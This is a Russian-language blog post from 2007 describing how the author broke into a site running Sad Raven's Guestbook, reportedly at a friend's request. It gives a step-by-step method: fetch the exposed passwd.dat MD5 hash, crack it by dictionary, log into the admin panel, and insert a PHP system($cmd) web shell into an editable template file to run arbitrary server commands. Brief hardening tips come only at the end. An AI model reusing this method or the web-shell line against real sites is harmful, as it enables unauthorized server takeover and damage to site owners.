пятница, 20 апреля 2007 г.

Взлом через Sad Raven`s Guestbook

Однажды, мой друг попросил меня протестировать его сайт на безопасность. Естественно я согласился. Просканировав порты я понял, что нужно искать дырку в скриптах. Чем я и занялся. Но как назло я не смог ничего найти. На сайте практически нет скриптов, а те который есть защищены. Моё внимание привлекла гостевая книга. Дело в том, что все скрипты на сайте были написаны автором, а гостевая нет! Это был скрипт очень популярной гостевой Sad Raven's Guestbook. Протестировал скрипт на популярные ошибки - не судьба, все входные параметры фильтровались... Тогда я скачал исходники и стал разбираться.

Гостевая состоит из 2 модулей, администрирование и собственно сама гостевая. Нас интересует администрирование... Практически сразу я понял, что пароль хранится в зашифрованном виде (MD5).

if (file_exists("passwd.dat") && $QUERY_STRING != ""):
require ("passwd.dat");
if (!isset($alogin) || md5($pass) != $Password[$alogin] ||
!isset($Password[$alogin])):

Пароль хранится в файле passwd.dat. Открыв этот файл в браузере, я увидел:

<?php
$Password['root'] = "7e0c76b830931fc0eca7e69a4a2574db";
?>

Оставалось только расшифровать пароль. Это делается софтиной md5indide. Для взлома необходимо создать текстовый документ и вписать в него следующее:
$Password['root'] = "7e0c76b830931fc0eca7e69a4a2574db";
Далее этот файл открывается в md5inside и расшифровывается Наибольший процент дает перебор по словарю. Через 20 минут у меня был пароль от админки. Если ты думаешь, что я получил только доступ к редактированию сообщений, то сильно заблуждаешься. Я мог редактировать дизайн! Я зашел в этот раздел и увидел, что можно редактировать два файла - header.inc.php и footer.inc.php . Оба отвечают за вид Гостевой. Так вот, расширение у обоих сами видите какое.

Первый файл:

<html>
<head>
<title>Гостевая книга</title>
<meta http-equiv="content-type" content="text/html; charset=windows-1251">
<link rel=stylesheet href=design/guest.css type=text/css>
<script language=JavaScript><!--
var ico;function smile(ico)
{document.Sad_Raven_Guestbook.mess. value=document.Sad_Raven_Guestbook. mess.value+ico;}
//--></script>
</head>
<body bgcolor=<?=$BACKGROUND?> topmargin=15 leftmargin=0 marginwidth=0
marginheight=0>
<div align=center>
<table width=598 border=0 cellspacing=0 cellpadding=2><tr><td>
<table width=598 border=0 cellspacing=1 cellpadding=3
bgcolor=<?=$BORDER?>> <tr><td align=center class=p
bgcolor="<?=$DARK?>"> <b></b></td></tr></table>
</td></tr><tr><td>

Значит я могу выполнять любой php код!!! Остается добавить в конец <?system($cmd);?>. Все! Я получил возможность выполнять ЛЮБЫЕ (на что хватит прав) команды на сервере! Дальше я просто поменял права на index.htm, поставил их равными 0600 ?)). Это самое безобидное, что можно было сделать, сами понимаете. Теперь пару слов о безопасности. Прежде всего не выбирай простые пароли! Берите что-нибудь такое: F^L@C^4_@%$)*#&^&. Замени в файле admin.php <passwd.dat> на что-нибудь бессмысленное, например dsiahfhh.dat. И по возможности не пользуйся чужими скриптами. Если ты неуверен на 100% в безопасности скрипта - удали его и напишите свой!

Комментариев нет: